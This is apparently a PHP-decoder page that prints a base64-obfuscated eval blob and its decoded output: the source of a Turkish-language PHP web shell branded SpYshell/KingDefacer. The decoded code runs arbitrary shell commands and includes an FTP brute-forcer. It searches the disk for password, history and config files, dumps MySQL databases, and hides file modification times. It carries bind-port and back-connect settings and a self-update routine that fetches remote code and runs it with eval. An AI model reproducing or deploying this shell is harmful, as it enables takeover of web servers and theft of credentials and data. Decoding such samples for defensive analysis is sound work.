Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

G?F89;a <?php eval("?>".base64_decode("PD9waHANCi8vU3RhcnRpbmcgY2FsbHMNCmlmICghZnVuY3Rpb2..

Decoded Output download

?>b'<?php
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "KingDefacer"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("ashcoike_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("ashcoike_surl",$surl);}
else {$surl = $_REQUEST["ashcoike_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["ashcoike_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
$login = ""; //login
//DON\'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = "<a href=\"http://xxxxxxxxxxxxxxxxxxxxxxxx\">SpYshell v.".$shver."</a>: Erisim Engellendi";

$gzipencode = true; //Encode with gzip?

$updatenow = false; //If true, update now (this variable will be false)

$ashsh_updateurl = "http://xxxxxxxxxxxxxxxxxxxxxx"; //Update server
$ashsh_sourcesurl = "http://xxxxxxxxxxxxxxxxxxxxxxxx"; //Sources-server

$filestealth = true; //if true, don\'t change modify- and access-time

$donated_html = "<center><b>Powerad By SpyHackerz</b></center>";
		/* If you publish  shell and you wish
		add link to your site or any other information,
		put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = true; //If true then save sorting-position using cookies.

// Registered file-types.
//  array(
//   "{action1}"=>array("ext1","ext2","ext3",...),
//   "{action2}"=>array("ext4","ext5","ext6",...),
//   ...
//  )
$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
//  array(
//   string "command{i}"=>array("ext1","ext2","ext3",...),
//   ...
//  )
//   {command}: %f% = filename
$exeftypes  = array(
 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
 "perl %f%" => array("pl","cgi")
);

/* Highlighted files.
  array(
   i=>array({regexp},{type},{opentag},{closetag},{break})
   ...
  )
  string {regexp} - regular exp.
  int {type}:
	0 - files and folders (as default),
	1 - files only, 2 - folders only
  string {opentag} - open html-tag, e.g. "<b>" (default)
  string {closetag} - close html-tag, e.g. "</b>" (default)
  bool {break} - if true and found match then break
*/
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
									 // array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;	// lines in hex preview file
$hexdump_rows = 24;	// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "ash";	  // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!$win)
{
 $cmdaliases = array(
  array("-------------------------------------------------------------------", "ls -la"),
  array("Butun suid dosyalarini bul", "find / -type f -perm -04000 -ls"),
  array("Butun suid dosyalarini simdiki dizinde bul", "find . -type f -perm -04000 -ls"),
  array("Butun sgid dosyalarini bul", "find / -type f -perm -02000 -ls"),
  array("Butun sgid dosyalarini simdiki dizinde bul", "find . -type f -perm -02000 -ls"),
  array("Butun config.inc.php dosyalarini bul", "find / -type f -name config.inc.php"),
  array("Butun config* dosyalarini bul", "find / -type f -name \"config*\""),
  array("Butun config* dosyalarini simdiki dizinde bul", "find . -type f -name \"config*\""),
  array("Butun yazilabilir dosyalari bul", "find / -perm -2 -ls"),
  array("Butun dosya ve klasorleri simdiki dizinde bul", "find . -perm -2 -ls"),
  array("Butun service.pwd doslayalarini bul", "find / -type f -name service.pwd"),
  array("Butun service.pwd dosyalarini simdiki dizinde bul", "find . -type f -name service.pwd"),
  array("Butun .htpasswd dosyalarini bul", "find / -type f -name .htpasswd"),
  array("Butun .htpasswd dosyalarini simdiki dizinde bul", "find . -type f -name .htpasswd"),
  array("Butun .bash_history dosyalarini bul", "find / -type f -name .bash_history"),
  array("Butun .bash_history dosyalarini simdiki dizinde bul", "find . -type f -name .bash_history"),
  array("Butun .fetchmailrc dosyalarini bul", "find / -type f -name .fetchmailrc"),
  array("Butun .fetchmailrc dosyalarini simdiki dizinde bul", "find . -type f -name .fetchmailrc"),
  array("Butun Linux ikinci erisebilir dosyalarini bul", "lsattr -va"),
  array("Butun Acik Portlari goster.", "netstat -an | grep -i listen")
 );
}
else
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("Butun Acik Portlari goster.", "netstat -an")
 );
}

$sess_cookie = "ashshvars"; // Cookie-variable name

$usefsbuff = true; //Buffer-function
$copy_unset = false; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
 array("<img src=\"".$surl."act=img&img=home\" alt=\"Ana Sayfa\" height=\"20\" width=\"20\" border=\"0\">",$surl),
 array("<img src=\"".$surl."act=img&img=back\" alt=\"Geri\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Ileri\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
 array("<img src=\"".$surl."act=img&img=up\" alt=\"Yukari\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
 array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Yenile\" height=\"20\" width=\"17\" border=\"0\">",""),
 array("<img src=\"".$surl."act=img&img=search\" alt=\"Arama\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Tampon\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
 array("<b>Cyriptos</b>",$surl."act=encoder&d=%d"),
 array("<b>Araclar</b>",$surl."act=tools&d=%d"),
 array("<b>Islem.</b>",$surl."act=processes&d=%d"),
 array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
 array("<b>Guvenlik</b>",$surl."act=security&d=%d"),
 array("<b>SQL</b>",$surl."act=sql&d=%d"),
 array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
 array("<b>Bildirim</b>",$surl."act=feedback&d=%d"),
 array("<b>Imha Et</b>",$surl."act=selfremove"),
 array("<b>Exit</b>","#\" onclick=\"if (confirm(\'Eminmisin dosttum?\')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["ashshcook"]);

//END CONFIGURATION


// 				\/	Next code isn\'t for editing	\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://xxxxxxxxxxxxxxxxxxx\">SpYshell</a>: Erisim Engellendi - Senin Host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Belgele: Basic realm=\"SpYshell ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Yetkisiz");
  exit($accessdeniedmess);
 }
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); ashsh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
}

if (!function_exists("ash_buff_prepare"))
{
function ash_buff_prepare()
{
 global $sess_data;
 global $act;
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
 $sess_data["copy"] = array_unique($sess_data["copy"]);
 $sess_data["cut"] = array_unique($sess_data["cut"]);
 sort($sess_data["copy"]);
 sort($sess_data["cut"]);
 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
ash_buff_prepare();
if (!function_exists("ash_sess_put"))
{
function ash_sess_put($data)
{
 global $sess_cookie;
 global $sess_data;
 ash_buff_prepare();
 $sess_data = $data;
 $data = serialize($data);
 setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
 if (!empty($sort)) {setcookie("sort",$sort);}
 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
 if (!is_numeric($size)) {return false;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return true;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_copy_dir($d,$t);
 }
 elseif (is_file($d)) {return copy($d,$t);}
 else {return false;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
 $h = opendir($d);
 if (!is_dir($t)) {mkdir($t);}
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   $ret = true;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return true;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
 $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_move_dir($d,$t);
 }
 elseif (is_file($d))
 {
  if(copy($d,$t)) {return unlink($d);}
  else {unlink($t); return false;}
 }
 else {return false;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== false)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
 $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return false;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
 global $disablefunc;
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
",$result);}
  elseif (($result = `$cmd`) !== false) {}
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400)?"r":"-";
 $owner["write"] = ($mode & 00200)?"w":"-";
 $owner["Uygulanamadi!"] = ($mode & 00100)?"x":"-";
 $group["read"] = ($mode & 00040)?"r":"-";
 $group["write"] = ($mode & 00020)?"w":"-";
 $group["Uygulanamadi!"] = ($mode & 00010)?"x":"-";
 $world["read"] = ($mode & 00004)?"r":"-";
 $world["write"] = ($mode & 00002)? "w":"-";
 $world["Uygulanamadi!"] = ($mode & 00001)?"x":"-";

 if ($mode & 0x800) {$owner["Uygulanamadi!"] = ($owner["Uygulanamadi!"] == "x")?"s":"S";}
 if ($mode & 0x400) {$group["Uygulanamadi!"] = ($group["Uygulanamadi!"] == "x")?"s":"S";}
 if ($mode & 0x200) {$world["Uygulanamadi!"] = ($world["Uygulanamadi!"] == "x")?"t":"T";}

 return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
 $one = intval($sort);
 $second = substr($sort,-1);
 if ($second != "d") {$second = "a";}
 return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("ashgetsource"))
{
function ashgetsource($fn)
{
 global $ashsh_sourcesurl;
 $array = array(
  "ashsh_bindport.pl" => "ashsh_bindport_pl.txt",
  "ashsh_bindport.c" => "ashsh_bindport_c.txt",
  "ashsh_backconn.pl" => "ashsh_backconn_pl.txt",
  "ashsh_backconn.c" => "ashsh_backconn_c.txt",
  "ashsh_datapipe.pl" => "ashsh_datapipe_pl.txt",
  "ashsh_datapipe.c" => "ashsh_datapipe_c.txt",
 );
 $name = $array[$fn];
 if ($name) {return file_get_contents($ashsh_sourcesurl.$name);}
 else {return false;}
}
}
if (!function_exists("ashsh_getupdate"))
{
function ashsh_getupdate($update = true)
{
 $url = $GLOBALS["ashsh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
 $data = @file_get_contents($url);
 if (!$data) {return "Server guncellestirme baglanamadi!";}
 else
 {
  $data = ltrim($data);
  $string = substr($data,3,ord($data{2}));
  if ($data{0} == "" and $data{1} == "") {return "Hatta: ".$string; return false;}
  if ($data{0} == "" and $data{1} == "") {return "En son guncellestirmeyi kullaniyosun!";}
  if ($data{0} == "" and $data{1} == "")
  {
   $string = explode("",$string);
   if ($update)
   {
    $confvars = array();
    $sourceurl = $string[0];
    $source = file_get_contents($sourceurl);
    if (!$source) {return "Can\'t fetch update!";}
    else
    {
     $fp = fopen(__FILE__,"w");
     if (!$fp) {return "Yerel Hata: Guncelestirme yazilamadi".__FILE__."! Sen Spyhackerz.com girip birseyler ?grenebilirsin. <a href=\"".$sourceurl."\"><u>here</u></a>.";}
     else {fwrite($fp,$source); fclose($fp); return "Tesekkurler Guncellendi!";}
    }
   }
   else {return "Yeni Versiyon bulundu: ".$string[1];}
  }
  elseif ($data{0} == "" and $data{1} == "") {eval($string); return 1;}
  else {return "protocol hata: bolum engellendi! (".$data.") ";}
 }
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
 global $shver;
 $sock = $set["sock"];
 $db = $set["db"];
 $print = $set["print"];
 $nl2br = $set["nl2br"];
 $file = $set["file"];
 $add_drop = $set["add_drop"];
 $tabs = $set["tabs"];
 $onlytabs = $set["onlytabs"];
 $ret = array();
 $ret["err"] = array();
 if (!is_resource($sock)) {echo("Hata: \$sock Dogrulamadi");}
 if (empty($db)) {$db = "db";}
 if (empty($print)) {$print = 0;}
 if (empty($nl2br)) {$nl2br = 0;}
 if (empty($add_drop)) {$add_drop = true;}
 if (empty($file))
 {
  $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
 }
 if (!is_array($tabs)) {$tabs = array();}
 if (empty($add_drop)) {$add_drop = true;}
 if (sizeof($tabs) == 0)
 {
  // retrive tables-list
  $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
 }
 $out = "# Dumped by SpYShell.SQL ".$shver."
# Ana Sayfa: http://www.spyhackerz.com/
# Host ayarlari:
# MySQL versiyon: (".mysql_get_server_info().") Su an calisan ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
# Tarih: ".date("d.m.Y H:i:s")."
# DB: \"".$db."\"
#---------------------------------------------------------
";
 $c = count($onlytabs);
 foreach($tabs as $tab)
 {
  if ((in_array($tab,$onlytabs)) or (!$c))
  {
   if ($add_drop) {$out .= "Ekle Table , exits `".$tab."`;
";}
   // recieve query for Olustur table structure
   $res = mysql_query("Olusan tabloyu goster `".$tab."`", $sock);
   if (!$res) {$ret["err"][] = mysql_smarterror();}
   else
   {
    $row = mysql_fetch_row($res);
    $out .= $row["1"].";

";
    // recieve table variables
    $res = mysql_query("Sec * FROM `$tab`", $sock);
    if (mysql_num_rows($res) > 0)
    {
     while ($row = mysql_fetch_assoc($res))
     {
      $keys = implode("`, `", array_keys($row));
      $values = array_values($row);
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
      $values = implode("\', \'", $values);
      $sql = "Icine Sok `$tab`(`".$keys."`) VALUES (\'".$values."\');
";
      $out .= $sql;
     }
    }
   }
  }
 }
 $out .= "#---------------------------------------------------------------------------------

";
 if ($file)
 {
  $fp = fopen($file, "w");
  if (!$fp) {$ret["err"][] = 2;}
  else
  {
   fwrite ($fp, $out);
   fclose ($fp);
  }
 }
 if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
 return $out;
}
}
if (!function_exists("mysql_buildwhere"))
{
function mysql_buildwhere($array,$sep=" and",$functs=array())
{
 if (!is_array($array)) {$array = array();}
 $result = "";
 foreach($array as $k=>$v)
 {
  $value = "";
  if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  $value .= "\'".addslashes($v)."\'";
  if (!empty($functs[$k])) {$value .= ")";}
  $result .= "`".$k."` = ".$value.$sep;
 }
 $result = substr($result,0,strlen($result)-strlen($sep));
 return $result;
}
}
if (!function_exists("mysql_fetch_all"))
{
function mysql_fetch_all($query,$sock)
{
 if ($sock) {$result = mysql_query($query,$sock);}
 else {$result = mysql_query($query);}
 $array = array();
 while ($row = mysql_fetch_array($result)) {$array[] = $row;}
 mysql_free_result($result);
 return $array;
}
}
if (!function_exists("mysql_smarterror"))
{
function mysql_smarterror($type,$sock)
{
 if ($sock) {$error = mysql_error($sock);}
 else {$error = mysql_error();}
 $error = htmlspecialchars($error);
 return $error;
}
}
if (!function_exists("mysql_query_form"))
{
function mysql_query_form()
{
 global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
 if ((!$submit) or ($sql_act))
 {
  echo "<table border=0><tr><td><form name=\"ashsh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Gercekden eminmisin ? :)";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Evet\">&nbsp;<input type=submit value=\"Hayir\"></form></td>";
  if ($tbl_struct)
  {
   echo "<td valign=\"top\"><b>Alanlar:</b><br>";
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "? <a href=\"#\" onclick=\"document.ashsh_sqlquery.sql_query.value+=\'`".$name."`\';\"><b>".$name."</b></a><br>";}
   echo "</td></tr></table>";
  }
 }
 if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
}
}
if (!function_exists("mysql_create_db"))
{
function mysql_create_db($db,$sock="")
{
 $sql = "DATABASE OLUSTUR `".addslashes($db)."`;";
 if ($sock) {return mysql_query($sql,$sock);}
 else {return mysql_query($sql);}
}
}
if (!function_exists("mysql_query_parse"))
{
function mysql_query_parse($query)
{
 $query = trim($query);
 $arr = explode (" ",$query);
 /*array array()
 {
  "METHOD"=>array(output_type),
  "METHOD1"...
  ...
 }
 if output_type == 0, no output,
 if output_type == 1, no output if no error
 if output_type == 2, output without control-buttons
 if output_type == 3, output with control-buttons
 */
 $types = array(
  "SELECT"=>array(3,1),
  "SHOW"=>array(2,1),
  "DELETE"=>array(1),
  "DROP"=>array(1)
 );
 $result = array();
 $op = strtoupper($arr[0]);
 if (is_array($types[$op]))
 {
  $result["propertions"] = $types[$op];
  $result["query"]  = $query;
  if ($types[$op] == 2)
  {
   foreach($arr as $k=>$v)
   {
    if (strtoupper($v) == "LIMIT")
    {
     $result["limit"] = $arr[$k+1];
     $result["limit"] = explode(",",$result["limit"]);
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
     unset($arr[$k],$arr[$k+1]);
    }
   }
  }
 }
 else {return false;}
}
}
if (!function_exists("ashfsearch"))
{
function ashfsearch($d)
{
 global $found;
 global $found_d;
 global $found_f;
 global $search_i_f;
 global $search_i_d;
 global $a;
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($f = readdir($h)) !== false)
 {
  if($f != "." && $f != "..")
  {
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f));
   if (is_dir($d.$f))
   {
    $search_i_d++;
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
    if (!is_link($d.$f)) {ashfsearch($d.$f);}
   }
   else
   {
    $search_i_f++;
    if ($bool)
    {
     if (!empty($a["text"]))
     {
      $r = @file_get_contents($d.$f);
      if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
      if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
      if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
      else {$bool = strpos(" ".$r,$a["text"],1);}
      if ($a["text_not"]) {$bool = !$bool;}
      if ($bool) {$found[] = $d.$f; $found_f++;}
     }
     else {$found[] = $d.$f; $found_f++;}
    }
   }
  }
 }
 closedir($h);
}
}
if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
//Sending headers
@ob_start();
